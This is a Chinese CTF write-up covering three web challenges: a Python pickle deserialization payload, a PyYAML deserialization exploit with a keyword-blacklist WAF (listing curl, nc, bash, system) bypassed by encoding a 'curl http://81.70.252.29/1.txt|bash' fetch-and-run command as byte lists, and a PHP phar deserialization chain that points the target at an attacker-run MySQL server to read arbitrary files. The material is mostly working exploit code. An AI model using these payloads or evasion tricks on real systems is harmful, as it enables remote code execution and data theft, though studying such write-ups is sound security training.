DASCTF 2024最后一战-WEB-gxngxngxn
DASCTF 2024最后一战
const_python
很直白的pickle反序列化,直接打
import os
import builtins
import pickle
import base64
import subprocess
class A():
def __reduce__(self):
return (subprocess.check_output, (["cp","/flag","/app/app.py"],))
a=A()
b=pickle.dumps(a)
with open("1.png", "wb") as f:
pickle.dump(a, f)
print(base64.b64encode(b))
yaml_matser
import os
import re
import yaml
from flask import Flask, request, jsonify, render_template
app = Flask(__name__, template_folder='templates')
UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):
blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'sleep', 'setstate',
'command','static','templates','session','&','globals','builtins'
'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}
input_str_lower = str(input_str).lower()
for term in blacklist_terms:
if term in input_str_lower:
print(f"Found blacklisted term: {term}")
return True
return False
file_pattern = re.compile(r'.*\.yaml$')
def is_yaml_file(filename):
return bool(file_pattern.match(filename))
@app.route('/')
def index():
return '''
Welcome to DASCTF X 0psu3
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/Yam1">Yam1</a>
'''
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
uploaded_file = request.files['file']
if uploaded_file and is_yaml_file(uploaded_file.filename):
file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
uploaded_file.save(file_path)
return jsonify({"message": "uploaded successfully"}), 200
else:
return jsonify({"error": "Just YAML file"}), 400
except Exception as e:
return jsonify({"error": str(e)}), 500
return render_template('upload.html')
@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
filename = request.args.get('filename','')
if filename:
with open(f'uploads/{filename}.yaml', 'rb') as f:
file_content = f.read()
if not waf(file_content):
test = yaml.load(file_content)
print(test)
return 'welcome'
if __name__ == '__main__':
app.run()
看到一个yaml反序列化,直接绕,bytes命令执行
exp = '__import__("os").system("curl http://81.70.252.29/1.txt|bash")'
print(f"exec(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "exec(bytes([[j][0]for(i)in[range(29)][0]for(j)in[range(256)][0]if[i]in[[0]]and[j]in[[95]]or[i]in[[1]]and[j]in[[95]]or[i]in[[2]]and[j]in[[105]]or[i]in[[3]]and[j]in[[109]]or[i]in[[4]]and[j]in[[112]]or[i]in[[5]]and[j]in[[111]]or[i]in[[6]]and[j]in[[114]]or[i]in[[7]]and[j]in[[116]]or[i]in[[8]]and[j]in[[95]]or[i]in[[9]]and[j]in[[95]]or[i]in[[10]]and[j]in[[40]]or[i]in[[11]]and[j]in[[34]]or[i]in[[12]]and[j]in[[111]]or[i]in[[13]]and[j]in[[115]]or[i]in[[14]]and[j]in[[34]]or[i]in[[15]]and[j]in[[41]]or[i]in[[16]]and[j]in[[46]]or[i]in[[17]]and[j]in[[115]]or[i]in[[18]]and[j]in[[121]]or[i]in[[19]]and[j]in[[115]]or[i]in[[20]]and[j]in[[116]]or[i]in[[21]]and[j]in[[101]]or[i]in[[22]]and[j]in[[109]]or[i]in[[23]]and[j]in[[40]]or[i]in[[24]]and[j]in[[34]]or[i]in[[25]]and[j]in[[105]]or[i]in[[26]]and[j]in[[100]]or[i]in[[27]]and[j]in[[34]]or[i]in[[28]]and[j]in[[41]]]))"
strange_php
审会源码
首先看到welcome.php中
这里看可以删除留言,而且message可控,跟进deleteMessage函数
这里一眼顶真,可以触发phar,加上我们可以自定义留言,也就是可控上传文件的内容,所以很明显要打phar反序列化
我们看到UserMessage.php
这里有个__set魔术方法,如果filePath可控的话,就可以实现任意文件读取
那么怎么触发__set呢?
看到PDO_connect.php中
这里是可控的,如果我们将ATTR_DEFAULT_FETCH_MODE指定为262152
,就可以将结果的第一列做为类名, 然后新建一个实例,在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。
接着我们看到User.php
这里可以调用到pdo中的get_connection,那么这里就是入口了
我们可以让靶机连我们远程的数据库,来自定义filePath的值,在自己vps上新建个数据库和表
链子如下:
<?php
class User{
private $conn;
private $table = 'users';
public $id;
public $username="UserMessage";
private $password="aaaa";
public $created_at;
public function __construct() {
$this->conn = new PDO_connect();;
}
}
class PDO_connect{
private $pdo;
public $con_options = array(
"dsn"=>"mysql:host=81.70.252.29:3306;dbname=users;charset=utf8",
'host'=>'81.70.252.29',
'port'=>'3306',
'user'=>'joker',
'password'=>'joker',
'charset'=>'utf8',
'options'=>array(PDO::ATTR_DEFAULT_FETCH_MODE=>262152,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)
);
public $smt;
}
$a=new User();
$phar = new Phar("ppppp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("happy.txt", 'happy');
$phar->setMetadata($a);
$phar->stopBuffering();
$file_contents = file_get_contents("ppppp.phar");
echo urlencode(base64_encode($file_contents));
写入,然后删除
成功触发phar,直接访问log/0bc7be346d4df269543565b6b7cd231a.txt读到flag